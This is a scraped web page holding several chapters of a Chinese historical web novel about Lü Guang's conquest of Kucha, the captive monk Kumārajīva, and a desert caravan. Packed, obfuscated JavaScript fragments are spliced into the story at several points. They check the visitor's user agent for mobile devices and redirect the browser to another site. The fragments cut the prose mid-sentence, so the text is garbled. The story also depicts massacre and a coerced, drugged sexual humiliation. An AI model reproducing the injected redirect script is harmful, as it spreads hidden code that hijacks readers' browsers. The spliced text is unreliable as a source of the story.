当风沙扬起大漠的尘粒,当一支小小的商旅为躲避沙漠中的黑风暴之际,在遥远的塔克拉马沙漠北方,天山之下,浩瀚二十万铁骑正踏上库车绿洲,比黑风暴更可怕的是,他们的灭城之心。城外的西征大军奉大秦天王苻坚之命,讨伐西域三十六国。秦军西出玉门关三百里,所经之国,无不降服,唯独到了沙漠西北的龟兹国,踢到了铁板,虽然龟兹仅屯兵万余,但国王白纯却拒不投降。两军隔着城墙僵持了三日,安西大将军吕光没了耐心,下令攻城。 自诩西域强国的龟兹大军,哪里是刚从中原乱战尸堆中爬出来的秦军对手,二十万大军粮草殆尽,若不能攻下城便是死路一条。不想死在沙漠里的军人们,勇猛异常,嗜杀残忍,密密麻麻的箭羽如同黑风暴般飞入城中,秦军铁骑很快攻破了第一道城墙。 百姓死伤无数,守将身死,军队溃败。 在大将军吕光的强势追击下,龟兹军节节败退,昔日富丽堂皇的宫殿已经乱作一团…… 龟兹军这一退,白纯王便看到了败局,第二、三道城墙低矮,无险可守,无将可用,城内粮草充足,反倒成了饿狼的诱饵,灭国的祸患,他慌乱地逃回到王宫,身边只剩忠心耿耿的大臣苏恪葛。 白纯王面对颓势,跌坐在宫殿的台阶上,“援军到了吗?” “焉耆已经降了。” 苏恪葛是众臣之中唯一力挺国王开战之人,但他没有盲目自信,自吕光的西征大军进入大漠,他曾秘密向周边焉耆、疏勒、回鹘等诸国发出求救信,希望能联合抗秦。 “那……疏勒,回鹘,乌孙,还有狯胡呢?” 苏恪葛凄惨地摇摇头,“事到如今大势已去,没有援兵。” 白纯王面如死灰,颓然跌坐,“这些胆小鼠辈,亏本王平日待他们不薄,金银财帛还不如喂了狗。”他双手抱头,凌乱的头发显得十分狼狈。 苏恪葛急忙劝慰,“王,说不定……我们还有一线希望。” “希望……呵呵。” 白纯王冷笑,想龟兹自诩西域最富有强盛之国,佛法昌盛,万邦来朝,没想到危难之时无一人相助,一败涂地。 苏恪葛看王陷入崩溃,终于低了声音挤出一句话,“王,臣还发求救信给了……玄玉阁。” 白纯王气得大骂,“大胆!他们和秦军都是一丘之貉,对我龟兹虎视眈眈。” 苏恪葛也顾不得君臣之礼了,爬到白纯王身前,“王,臣知道您不喜汉人,玄玉阁垄断漠南玉石之路,漠北也遍布他们的势力,但是比起亡国,让这些汉人们互相打起来,说不定就是我们的一线希望啊。”白纯王总算不吭声了,事已至此,他还有选择吗? “国师……”白纯王突然想起来什么,焦急大喊,“国师在哪?” 他是真的急了,笃信佛法的白纯之所以坚持开战,还有一个原因,正是他的国师——大乘佛教高僧,鸠摩罗什。有国师在,佛祖就会护佑龟兹,他就不会输,对!疯颠的龟兹王猛地站起来,踉踉跄跄地冲出宫殿,”快,快去大佛寺!“ 身后望着王远去的苍老苏恪葛,不由深深叹气,王为何到现在还不明白,求神不如求人,求人不如求己,然而一切都已经太晚了。 被十万黑风暴铁骑疾风暴雨的袭击,攻破龟兹三道城墙,令征西军军心大振。 在攻城掠地的战场后方,安西大将军吕光正威武地骑在战马上,远远看着如潮水般攻入龟兹国的士兵,在他之侧的马车上钻出一个瘦弱老头,长袍广袖,这大漠的烈日将他晒得嘴皮发干,两眼有些发花,却强撑着一副儒雅幕僚气度。 前方是杀戮的战场,后方二人谈笑风生,仿佛看不到一批批倒下的血肉之躯。 吕光笑问:“段参军,满意你所见到的吗?” 段业手持羽扇,恭维道:“大将军杀伐果断,老朽敬佩。” “听闻段兄在沙漠里捡了个乞丐?” 段业羽扇微微一僵,继而回答:“上苍有好生之德,老朽自西行而来,路上倒接济过些难民。” 吕光不置可否,“难民?我倒听说,那个乞丐形神怪异,语出疯癫,不知哪里来的剃度和尚,直喊着什么地狱轮回,千年穿越的番邦言语,蛊惑我军心。” 段业谦和有礼:“不敢妄言,那乞丐是和尚不假,确实疯癫。”他似有所感,不禁伤怀,“想当年,吕某曾拜晋惠帝的祭酒王浮门下,师尊与法祖大师有道佛之争,羌人因法祖大师圆寂而出兵作乱,死伤无数,佛道本源皆为众生,何苦相残?老朽念他一介痴颠僧人,不如结个善缘,大将军无需挂怀。” 吕光身高三尺,长须阔面,从马上远眺龟兹,有着睥睨天下的豪情。 “想本将军出征西域之时,满朝文武无不想南征建功立业,唯段参军愿随我远征。” “将军勇武,下官自当效全力。” 自从大秦北并吞鲜卑拓跋氏,西兼并前凉,一统中原北方,自立天王的苻坚立志南下,跨越长江天险消灭东晋残朝,集结堪比当年曹操挥师南下的百万雄兵,另外吕光统领十万大军授命远征西域,两线同时作战,志在扩张大秦版图。半年之内,吕光的西征军收复了半壁西域,受封关内侯,而南下灭晋的战事却迟迟没有进展。 “吕某还要多谢段兄进言,使主上多给了征西军五千铁骑,助我西征蛮戎。”吕光疑惑不解,“主上如此看重与你,段兄当初为何自请随军?” 段业感慨:“白馀年间天下大乱,匈奴、羯、氐、鲜卑、羌从北方草原南迁而下,这些年胡人们参与中原混战,百姓苦不堪言,昔日汉武帝大破匈奴,远征大宛,降服西域,大将军英勇善战,攘外安内,与君征战岂不壮哉?” 羽扇遮着烈日,段老头嘴唇干裂,一番慷慨陈词后,又缓了口气,“且南下伐晋已有百万雄师,下官这把老骨头,抢也抢不过那些后生,倒不如随大将军威武挥师,来西域看看美女,酌饮美酒,哈哈哈,咝……”一笑唇上裂开几道血口子,老段忙止笑,吸了口气。 吕光嘴角一抽,讪讪道:“段兄风趣,亦远见卓识。段兄仰观天文,俯察地理,博学尺牍之才,不知我大军是否出师必捷?”段业心中腹诽,吕光你个老小子又在套他的话,于是装腔作势地道:“临行之前确实占了一卦,南下遇水恐有无妄之灾,向西黄沙乃有贵人相助。” 吕光大笑,“那就借段兄吉言了。” 段业利索地羽扇收拢,躬身一揖,“大将军必将青史留名。” 两人你来我往地聊着,前方忽然跑来一个小兵,急匆匆跪在大将军马前,打断了他们的谈话。小兵跪地禀报:“禀大将军,人找到了。” 吕光像得到了天大的好消息,瞪着双眼问:“在哪?” 小兵答:“在大佛寺。” “驾……”一马鞭扬下,吕光也懒得再跟段业废话,挥起马鞭,便朝着溃败的城池飞奔而去。可惜他没有看到,被甩在他身后的段业松了一口气,随后露出耐人寻味的笑容。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14504638|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ………………………………………………… 惨败后的延城,大佛寺被团团围住。 庄严的正殿之中,上供奉法相庄严的大日如来,知一切世间境界的佛祖,此时正悲悯地看着下方蒲团上跪拜的二人,一个凄凄哀痛,一个默默诵经。 正殿之外,披甲带刀的士兵将庙宇围得水泄不通,终于在疾驰的马蹄声后,众人才让出一条道,两侧兵将跪了一地,高呼:“大将军!” 吕光在跪拜声中自马背上一跃而下,大步走向护国寺正殿。人没有立定,洪亮的声音已传进室内,“鸠摩罗什在哪里?” 屋内光线略感昏暗,适应了一下,发现眼前地上的蒲团上坐有一人,单肩褐色佛袍,异域长相的诵经僧侣,应该就是鸠摩罗什了。 “没想到享誉西域中原的得道高僧,竟如此年轻。” 吕光恩威并施,尤其对这位中原无数信众的佛教法师,他决定先礼后兵。僧人只缓缓说了四个字:“阿弥陀佛。” 吕光上下打量,半蹲在他面前,“听闻大师七岁便背诵三万二千字经文,号称日诵千偈,不知真的假的?看起来倒也没有三头六臂。” 鸠摩罗什有一半的印度血统,母亲是龟兹的公主,说起来白纯王是他的亲舅舅,他身材单薄修长,肤色略深,继承了父亲国师身份,专心在大佛寺译经弘扬佛法。 听到吕光的声音略抬起头,鸠摩罗什眼神无波澜地看着身披铠甲的大将军,双手合十。 “一切所有皆无量,有学无学住地人,佛曰周行虚空,大将军当利益众生,不作是念。” “本将军不识佛法,倒有个困惑求教法师,三日前我曾命人送书信给龟兹王,顺便附赠我大秦天王给鸠摩法师的拜帖,请法师前往中原讲经,不知法师拒绝时,可曾想到会有龟兹生灵涂炭的一天?” “大乘菩萨慈无量心,悲无量心,喜无量心,舍无量心。”鸠摩罗什低沉,无悲无喜。 “好个无量心,看来在法师眼中,生灵涂炭无异于蝼蚁苟活。”吕光冷笑。 “大将军既为鸠摩罗什而来,若我现在与你离去,大将军可愿退兵还龟兹太平?”鸠摩罗什反问,答案不言而喻。一个咄咄逼人,一个平静如水,两人都对世间事各持己见,“佛法普渡众生,鸠摩罗什不受生死,无所谓身在何处,皆可度无量众生,去与不去,何时去,龟兹命数已定。” 吕光拂袖而起,“我数万大军不远千里,法师若心存万物,早该劝白纯开城投降。” 在他眼中与鸠摩罗什没什么过人之处,他当然不会为一人放弃征讨西域大计,掌握生死的才是强者。若不是秦王苻坚执意要鸠摩罗什入中原传法,吕光不介意用此人祭旗。 大将军踏出昏暗的正殿,站在外面的台阶上,凝视龟兹富丽堂皇的王宫巍峨壮观,深深呼出郁结之气。眼前不愧西域最美的明珠,士兵们恭敬地站立在一旁,等着他们的主帅发号施令。 片刻后,吕光振臂一呼,“去王宫。” 众士兵兴奋之情满溢,高呼此起彼伏:“大将军威武,大将军威武!” 黑压压的西征将士朝龟兹王宫进发,离开中原在黄沙行军半年,终于能好好喝酒吃肉了。自此龟兹天翻地覆,作为漠北最富饶强大的国家,背靠天山,这里有最丰美的水草,成群的牛羊,龟兹乐舞名闻天下,王宫夜夜歌舞升平,吕光整日在旋转的舞裙之下,沉迷于酒肉浮华之中。 龟兹沦陷,白纯等待的援兵未到,却等来了一位不速之客。 14. 大风起兮 沙漠的南端,内塔尔山刚刚经历了连夜大风,远处的山顶被白雪覆盖,昼夜温差折腾得阿祇有些不舒服。夜里,商队的人们挤在避风的山洞瑟瑟发抖,外面大风呼啸,他们不敢想,来时数十里外的沙漠上是个什么光景,以李伯的经验猜测,恐怕人畜不剩。 几堆篝火旁,挤满了劫后余生的男人,对洞外呼啸狂猛的风暴唏嘘不已。唯一的女子在最里侧的火堆边,她又裹上银狐皮袄,半搂着努尔悄无声息。火焰疯狂跳跃,阿祇蒙着头纱皱眉,脸色有不正常的红晕,肩膀一重,有人为她压上一件大氅,阿祇抬眼见宋繇默默坐在她身边。 宋繇很是细心,发觉出她的异样,轻触阿祇的额头,拉过纤细的手腕,搭上三根手指。 “你会诊脉?”阿祇有气无力地问。 宋繇皱着眉头,静静看着她,道:“阿兄教的,他的医术更好。” 山洞里,阿祇不远处坐着几个从凉州陇西跟来的子弟,他们穿着藏蓝色的衣袍,腰间系着绣着“玄”字的灰色腰带,在藏货的时候受了轻伤,小林负责照顾大家,忙着生篝火,架起炊锅,小林单独烧着瓦罐熬药,没多久就端来一碗药汁,送过来给阿祇。 “阿姊,快喝药。”说着,还用袖子蹭了蹭碗底,生怕烫到阿祇。 阿祇撑着起身,接过苦涩的药碗,“辛苦小林。” “不辛苦,以前咱们商队出塞谁生了病,都是家主给咱们治,后来有了李大夫,咱们弟兄跟着学了几手,大到刀枪剑伤,小到经络关节都能对付一下,只是这望闻问切的功夫,还得是咱们宋掌事。” 阿祇没想到这些世家子弟博学到这种程度,宋繇平时是个沉默低调的人,他见阿祇对医术感兴趣,多说了些细节,“气虚体寒,邪气入侵,用白术、黄芪和大枣熬药,阿祇喝了好好休息,明日应该就没事了。” 在这个大风凛冽的夜晚,阿祇觉得很温暖,“多谢大家。” 宋繇接过空碗,难得与她聊了几句:“阿祇不用客气,好在商队带了足够的草药,李大夫还在给大家看外伤,他说感谢你上次送他的一朵雪莲,这药对活血散寒有奇效却不能多服,你喝的药里也加了一片。”嘴里淡淡的苦味,确实有股熟悉的味道。 阿祇好奇,“若多加了会怎样?” 宋繇淡淡的一笑,“大抵无碍,虚不受补罢了。” 想起她曾用仅有的药材救过一个身受重伤的人,心中不禁一阵后怕,懊恼自己的无知无畏,庆幸那人的幸运。古人含蓄内敛,宋繇正是其一,清澈双眸的少年扶着她躺下,就默默离开了。 阿祇喝了药变得昏沉,依稀间,听宋繇担忧地在问:“小李管事还没回来吗?” 小林在照顾商队的众人,扫视一圈,“回来了,好像又出去了。” 有人说:“他带了人去搬石头堵在洞口,这场黑风暴,得刮个整夜了……” 体格巨大的骆驼们堵在洞口,它们的毛发和身躯能够保护人类,然而商队的主事也在尽其所能保护着每一条生命,努尔贴着阿祇,偶尔伸长脖子,看看白月在前方一片泰然睡觉,然后这才贴着阿祇,没一会儿,又伸着脖子看看,反复几次才慢慢睡去。 第二日,日光渐盛。 宋繇早已带人风尘仆仆离开,他们要在第一时间赶到被黄沙掩盖的巨石土坎,四下搜寻所幸马车和货物深陷沙土并无损失,一切比计划地还要顺利。阿祇跟商队的老弱随后而来,烧退了,人还虚弱,好在人货均安,已是不幸中的万幸。 大风起兮云飞扬,回到马车上的阿祇双眉紧皱。连日赶路,商队刚得到消息,漠北龟兹国沦陷。 一场波及整个西域的大战,让整个西域的小国都屏住一口气,不安地等待,不知道下一个被扫平会是谁。遥望大漠,阿祇仿佛能看到兵戈铁马的战场,满处尸横遍野的惨状。记忆深处,吕光是前秦建元十八年,率领二十万大军征讨西域。龟兹国虽因抵抗沦陷,但并没有自此灭国,几百年后的大唐安西都护府设于龟兹,使这个宗教、文化、经济皆发达的西域大国文明得以延续千年。 “阿祇,在想什么?” 车上跃上一个人,打断了她的沉思,竟是小李管事——李瑾。 自从内塔尔山一行后,他们之间似乎熟悉不少,行路的时候,李瑾时常会来到她的马车,就像现在这样,有时聊聊他在西域的见闻,有时也会和她讨论商队的情况。阿祇摇摇头,“没什么,有点担心,不知道漠北的战乱什么时候会来到漠南。” 吕光的征西军征讨西域已近半年,恐慌早已传遍大漠。吕光自少年追随苻坚讨伐中原,三十年刺悍将、平叛军,骁勇善战,屡建功勋得以苻坚信任,交付重兵远征西域,自此有了在西域呼风唤雨,拥兵自重的权力。 李瑾不以为意,“西域诸国看似强盛,实则各自为营,一片散沙,但战乱不一定会烧到漠南。”阿祇不禁奇怪他的笃定,“为何?” “漠南都是小国,富饶不假,但几乎都不养兵,等征西大军一到肯定争着抢着投诚,等大军一走,又会故态重生,以前干什么以后就还干什么。”李瑾戴上了兜帽,脸上的疲惫藏也藏不住,可是他就是给人精力旺盛的感觉,“对了,宋繇让我跟你说一声,写封信给家主,报告咱们安然度过黑风暴。” 阿祇看着李瑾笑得像只狐狸,“咱们很快就到于阗了,到时候请阿祇吃最美味的西域美食。” 阿祇脑子里在想着一件重要的事,稀里糊涂的点了点头,李瑾高高兴兴地走了。留下对着窗外发呆的阿祇,眼神明灭,她猜测李暠带着部曲匆匆北上,应该是奔龟兹而去,那里正在生灵涂炭,作为吕光西征遇到的最强抵抗,紧接着还有胡人大军的围剿,死伤数十万。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话音刚落,一声鸣叫见信使展翅长空,玄盛嘴角微微露出一个弧度,旁边的白发男子伸出右臂,信鹰迅速从天而降,稳稳落在了手腕上,熟练地解下木牍,交到主人手中。 自从收到第一封信,他竟有了些许期待。 打开封泥,短短的文字让玄盛颇为赞许,商队果然无虞。他顺手翻过木牍,其实之前与宋繇往来木牍没有这个习惯,想起那句:“大漠荒寒,奉兄珍重。” 玄盛忍不住嘴角微翘,这不是宋繇的风格。只一瞬,浅笑凝在唇边。玄盛将木牍藏在袖中,看向远方破败的城墙,眸光沉沉,好似大海,他看着远方半晌,身边的人没有半点动静。信鹰在白发人手臂上不老实,玄盛回神,挥手让稷放了苍颉,大鸟自由地翱翔上了天空。 白骆驼颈上的驼铃发出悦耳声音,玄盛拍拍它的脖颈,“走吧。” 轻轻拉动缰绳,一行人朝着龟兹进发。 15. 空即是色 龟兹,延城。 龟兹,延城。 这不是李暠第一次拜访这座漠北奢华之城。 白纯素不喜汉人,但他的弟弟白震私下与他颇有几分交情,这个闲散王弟十分热衷中原书画和绣品,每年行商途径龟兹,李暠都会送上珍品与他,作为回赠,白震为李暠兄弟二人送上精美胡服,真是他如今穿的这身。 远远的,他们眺望林立的佛塔,好在没有受到战火波及。此时,三重城墙的王宫内,吕光和亲信们正享受着西域甘美的葡萄美酒。舞姬旋转着胡璇,妖娆地翩翩起舞,无尽的歌舞乐充斥着昔日佛法鼎盛的国度,龟兹已无唱经诵法声。 吕光不信神佛,弱肉强食的世间只有权力才能呼风唤雨。正如眼下,坐在上首的大将军张嘴咬住异域美人送上的葡萄,半倚在龟兹王为鸠摩罗什讲法的金狮子座上,享受王族的俯首帖耳,若不是攻下这座国,眼前的一切如何得愿? “姜飞,白纯抓到了没有?” 一个彪形大汉走上来,单膝跪地,“禀大将军,四下封了城,还在挨家挨户缉拿。” “哼……”吕光微露不满,进城数日已斩首数千,这样的手段足以震慑周边小国,无人敢援。 那个亡国之君他本不在乎,眼下正对软硬不吃的鸠摩罗什分外恼怒,苻坚下令务必带高僧回中原,但他可没说是敬为上宾,还是沦为阶下囚。无尽的繁华,吕光每每举宴,必让人摆上鸠摩罗什的位子。 身边的僧人丰神俊朗却虚弱不堪,手里拿着一串佛珠,闭眼默默推动着一颗一颗珠子,手指永远没有停下来的意思,面前的美酒佳肴丝毫未动,像尊不食人间烟火的石像。 见过无数人间惨状的吕光,在中原战乱最惨烈的时候,他手下的士兵和饥民连人肉都吃过,那些被唤作“二脚羊”的妇孺,在他们眼中与畜生无异。 吕光轻蔑所谓智者,但凡是人就有七情六欲,即便是鸠摩罗什,也总有撑不住的一日。他瞟了一眼斟酒的美姬,不悦道:“怎么不给国师上酒?” 丰腴的龟兹女人知晓大将军的意思,却不敢上前给鸠摩罗什倒酒,战战兢兢匍匐在地请求饶恕。 一个穿甲执剑的满脸髯须男人,一脚将女人踢翻,气势汹汹地立于大殿,“没用的东西。” 他转身道:“父亲,儿子带来一坛凉州上好黍米酒。” 这人朝吕光一拜,酗酒熏红的双眼闪着戏虐的精光,来人正是吕光之子吕纂,只见他双手击掌,两个士兵抬上一坛美酒,放在鸠摩罗什之前。 吕光默默饮酒不言,看着吕纂上前给冷漠的鸠摩罗什倒酒,酒水撒了他一身。 “龟兹好客,法师陪同我等宴席数日,本将也当礼尚往来才是,这是我们凉州最好的酒,来!纂敬法师一杯。” 舞乐未停,众人情绪高涨地喊:“干!干!” 闭着双眼的鸠摩罗什像泥雕般不为所动,手上拨动的佛珠快了几分,大殿上的人全都等着看好戏,吕纂动怒,直接掰起鸠摩罗什的下颌,拿起酒器强行将酒送到他嘴里,有人拍案起哄,鸠摩罗什咳出酒水,还没等喘过气来,吕纂在酒坛中又舀满一杯,再对鸠摩罗什灌下。 “法师好酒量,再来!” 自饮自酌的吕光,看殿中的混乱一幕,独自惬意。 鸠摩罗什三日未尽水米,被一杯又一杯地灌酒,剧烈地呛咳,没一会儿半虚脱地倒下,众人未尽兴,吕纂看鸠摩罗什快不省人事的瘫倒,朝殿外的方向喊:“法师醉了,还不赶紧来人伺候!” 声音落下,款款走来一个蒙着红色面纱的女子。 女子身材丰腴高挑行走极慢,垂目却脖颈挺直,举止没有丝毫凌乱,看眉眼应是个教养良好的龟兹美人,气度大方,与那些妖娆的舞姬和卑微的侍女都不同。 美人微微俯身,对吕光行龟兹礼节,“拜见大将军。” 吕光未发一言,手上把玩酒杯。 美人犹豫片刻,缓缓走向狼狈的鸠摩罗什。 “儿郎们粗手笨脚怠慢了法师,幸好龟兹王女善解人意,愿意亲自服侍。” 吕纂说着哈哈大笑,众人有的喝酒,有的说着下流话。身材丰腴的美人正是白纯的女儿龟兹公主阿竭耶,也是鸠摩罗什的表妹。自从王城沦陷,国王不知所踪,昔日高高在上的公主再无尊严。 半倒在地的僧人强撑着身体,感觉到身边有人靠近,然后就被人轻轻扶起,耳边有温柔的声音低低传来,“国师,我是阿竭耶。” 鸠摩罗什听不清楚,眼前模糊的人影在说什么,但没有感到恶意。龟兹王女阿竭耶扶起酒醉的鸠摩罗什,她与鸠摩罗什虽然名义上是表兄妹,但是鸠摩罗什自幼随母研习佛法,四处游历,彼此都没说上过几句话。在这样的时候,阿竭耶被推出来羞辱国师,实乃身不由己。 她对上吕纂阴沉莫测的目光,立刻垂目,知道接下来要做什么。一宿未睡,这是她唯一能拯救龟兹王室的办法,只听吕纂道:“去吧,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14550398|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好照顾国师。” 他的声音加重了“照顾”二字。 王女阿竭耶掩藏眼中的羞愤,亡国之殇王室皆沦为阶下囚,为了囚牢里哭泣的母后和一众落魄王室,她只能扶着脚步虚浮的鸠摩罗什缓缓向偏殿走去,那边是早已为他们准备好的婚房,没错,她将以更为羞辱的方式,将自己与国师一起拖下深渊。 看相偕离去的男女,吕光期待好戏上演。 殿外有人来报,“大将军,城外有人求见。” 王宫内殿曼纱猗靡,珠光宝气,龟兹从来不缺财富,眼前一切在阿竭耶看来很是刺眼。红色的纱帐下躺倒一个男人,这里曾是父王妃嫔的寝殿,记得那位美人甚爱制香,人去楼空后浓烈的香味仍绕梁不散,没想到如今竟成了她的婚房。 没有任何仪式,身边是她从未敢想的新郎——鸠摩罗什。曾经顶礼膜拜的国师,曾经高高在上的高僧,此时正躺在床上痛苦低吟。身为王女,她必须在隐秘的窥视下,度过羞辱的新婚之夜。早有人在酒里动了手脚,凡人之躯的鸠摩罗什,不得不抵抗与生而为人的本能,等待圣人的毁灭,这就是外面的人最想要的。 室内点燃了许多烛光,仿佛故意要照亮这里的龌龊,阿竭耶揭下面纱,好像还是龟兹最高贵的王女,坐在鸠摩罗什身侧,看着从小就不愿意同她们玩耍的表兄,无力挣扎,今夜她将亲手推他入深渊。 阿竭耶悄悄落泪,不忍再看。 半晌没有动静,外面终于传来一声咳嗽。 被惊动的阿竭耶忙擦干泪水,她的父王还在流亡,子民还在被欺凌,她没有选择。 半跪在床侧,阿竭耶凑近男人耳畔,轻唤:“鸠摩罗什……” 像是听到了有人喊他的名字,鸠摩罗什半睁开双眼,好一会儿才动了动嘴唇,像在念诵什么。见他神志不清,阿竭耶长叹一口气,也许这样最好,就当作一场梦。 她缓缓放下幔帐,帐中女子隐隐约约的身影看不真切,烛光摇曳,光影斑驳。仿佛间,黑夜里有若有若无的低沉吟唱飘出,一段龟兹人都熟悉的法偈: 一切恩爱会,无常难得久。 生世多畏惧,命危于晨露。 由爱故生忧,由爱故生怖; 若离于爱者,无忧亦无怖。 ………… 漫漫长夜无尽黑暗,还有一个声音回荡: 一念嗔心起,八万障门开。 梵音海潮音,胜彼世间音。 16. 博弈 三重城墙的中心,垒筑高耸之处正是龟兹王宫。 入城可见其高大华美,白骆驼并未被允许进入辉煌绝伦的宫城,一个白衣男子静静从土石搭建的复道天梯而来,五官冷峻深邃,如天山冰雕而成容颜,在黑压压的大秦兵士注视下,孑然一身,优雅从容。 李暠自诩布衣儒商,闲云野鹤,虽不曾入世,但陇西李氏乃汉朝李广后代,为中原宗室大族们所尊崇,名下的玄玉阁打通了玉门关的商贸,在这乱世守护着一方安宁。大秦天王的苻坚,立国之初欲招揽陇西李氏,奈何李家人丁单薄,金银财帛他们不缺,还豢养了一支神秘厉害的部曲,李暠便以资历尚轻、子弟不昌为由,婉拒了大秦的封赏。 陇西李氏,便成了宗族势力偏安一隅的代表。 一身白衣男子站在殿外,放下兜帽,绝世之姿。殿门旁的侍卫想阻挡来人,吕光的声音传来,“让他进来。” 李暠径直走入殿中,散落的吃食,凌乱的酒宴,糜烂的味道,奔放的龟兹舞女在轻快的乐曲声中翘起脚尖,对走进来的人扬眉动目,眼含流波,翩然旋转,偏这男子一眼未看,径直穿过纸醉金迷,置身前方的席座之前,微一行礼。 “见过安西大将军。” 吕光拿着酒杯,往嘴里送了一口葡萄酒,总觉得这酒美则美矣,却不够味。沉默片刻,他才抬起眼皮看向李暠。吕光早闻西州李氏有个遗腹子,爱好行商,不由奚落道:“千里迢迢,李家主有何指教?” 李暠清雅一笑,“玄盛好酒,行商大漠,听闻大将军威名到此,特来讨要一杯。” “哦?”吕光手拿酒杯,对身边的侍者一挥,“赐酒。” 侍者忙躬身,将离去的鸠摩罗什席面重新布置,斟好酒水,送到泰然就座的白衣男子面前。这座龟兹宫殿是王族所设,华丽中尽显尊贵,吕光坐在上首的金狮子座,在他们这些同朝为官的人前,丝毫不避讳。 李暠端起龟兹华美的夜光杯,轻轻摇动,放到唇边轻酌一口,“好酒。” 出身名门的李家主,仪态端正,举止完美。 相较之,殿中横七竖八的行伍之人,显得与王宫的富丽堂皇格格不入,大军一路杀到大漠,有酒喝,有肉吃,哪里需要顾忌什么狗屁礼仪。 吕光出身氐族,自幼擅长田猎武事不喜读书,乱世征战习惯了手下醉酒粗鄙,满嘴汤汁,上了朝堂,终究是落了下乘。他面无表情,手里摩挲着酒杯,冷言道:“听闻李家主乃汉朝飞将军李广之后,如今沦落商贾之流,可惜了先祖的威名。” “大将军说得是。”李暠端坐在席上似是认同,对手中莹莹酒杯感慨,遂道:“李氏族中不乏贤者,家父早逝承蒙祖荫,天地之性人为贵,人之行莫大于孝,既受族人恩惠,以黄白之物供养子弟,是玄盛之责。” 吕光冷笑道:“好个天地仁孝的李玄盛,本将军知道你常行走西域,定是无事不登三宝殿。” 李暠脸上仍云淡风轻,“大将军何出此言?玄盛行走西域是大秦天王所准,近日昼伏宵行,月黑风沙恶,特来投靠。” 吕光嘴角一抽,这人看着风光霁月,实则道貌岸然,说白了是来打秋风? 这时候,有醉醺醺的武将歪在侍女身上,手里拿着酒杯,指着李暠打了个酒嗝,“老子用命抢来的地盘,轮得着你们这些士族高门说……说来就来。” 咚一声,吕光的酒杯拍在桌上,脸色不悦。 “掌嘴。”话毕,立刻有人上前,在武将的脸上重重扇了一巴掌。打醒了醉汉,他这才意识到自己说错了话,大将军吕光是前太尉之子,既便不算名门士族,也算贵族门阀,与寒门将士终是地位悬殊。 吕光不想在外人面前给手下太多难堪,只说让人将他拖出去醒酒,但宴会的气氛也随之冷了下来,再无人造次。吕光杀伐决断的性子颇有枭雄气概,与众人的屏气噤声不同的是,旁边的白衣男人仍自顾自饮,似乎眼前与他无关。 李暠修长的手指摘了粒葡萄送到口中,声音清冽,戏虐道:“龟兹王白纯甚是小气,以往玄盛造访,倒未曾有美酒佳肴相待。” 西域中龟兹不待见玄玉阁人尽皆知,吕光冷笑,李暠来的真是时候,“李家主酒也喝了,人也见了,还请自便。” “大将军豪气干云,酒逢知己千杯少,玄盛叨扰几日,想必大将军不会吝啬美酒吧?” 说完,他优雅地举杯,遥望敬酒。 吕光被他的话噎住,清风朗月般的人物却好生难缠,他身后是玄玉阁的力量,收复西域兵力不足,与之正面为敌不是良策。 宴会人群中,始终不发一言的段业藏在不起眼的角落,独自饮酒,眼神灵光一闪。吕光领会随即哈哈大笑,道:“爽快!本将军与李家主一见如故,美酒,美人,本将军当然不会吝啬。” 李暠站了起来,优雅一礼。 他随口道:“却之不恭,不过今日旅途疲乏,玄盛不打扰诸位雅兴了。”说完,人飘然而去。 好个陇西李暠,连表面功夫都懒得应付了? 吕光盯着那说来便来,说走便走的身影,消失在台阶尽头。吕纂气了个倒仰,大步走到他面前,道:“父亲,让我去教训教训这不知好歹的竖子。” 场上立刻有武将附和。 吕光一把将酒杯摔在儿子面前,怒斥:“李暠在西域的根基有多深,岂是尔等说动就动?若得他相助,我征西军厉兵秣马,攻陷西域指日可待。” 众人噤声,吕纂战场上是一名悍将,被父亲当众教训,倒也压得住火气,气哄哄地回到座位。长子有勇无谋,吕光怒其不争。 这时,人群中发出一阵动静。 原来是一个瘦弱老头模样的人,也不知道什么时候吃光了桌上的酒肉,正歪着身子从吕纂的席上偷了个鸡腿,不小心身子一滑摔个人仰马翻,好不狼狈。 “段业老儿,醉了就赶紧滚回去睡。”吕纂刚回到案桌,就碰上这样一个场面,心中火气。吕光瞥了眼失态的段业,也不知道他是真醉还是假醉。 “不得对参军无礼。” 桌子下面爬出来的段业尴尬万分,“小将军何须动怒,不过吃你一个鸡腿。” 吕纂早就看这个没用的参军老头不顺眼,段业咬了一口鸡肉,“陇西李氏早已没落,这个新出来的后生家主倒有几分经商的能耐,我看他这次主动来访,是好事。” 他打了个酒嗝,扔掉鸡骨头,满手油渍地往身上蹭,咧嘴对吕光一笑,“大将军说,对否?” 吕光转脸对吕纂道:“你若无事可做,滚去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 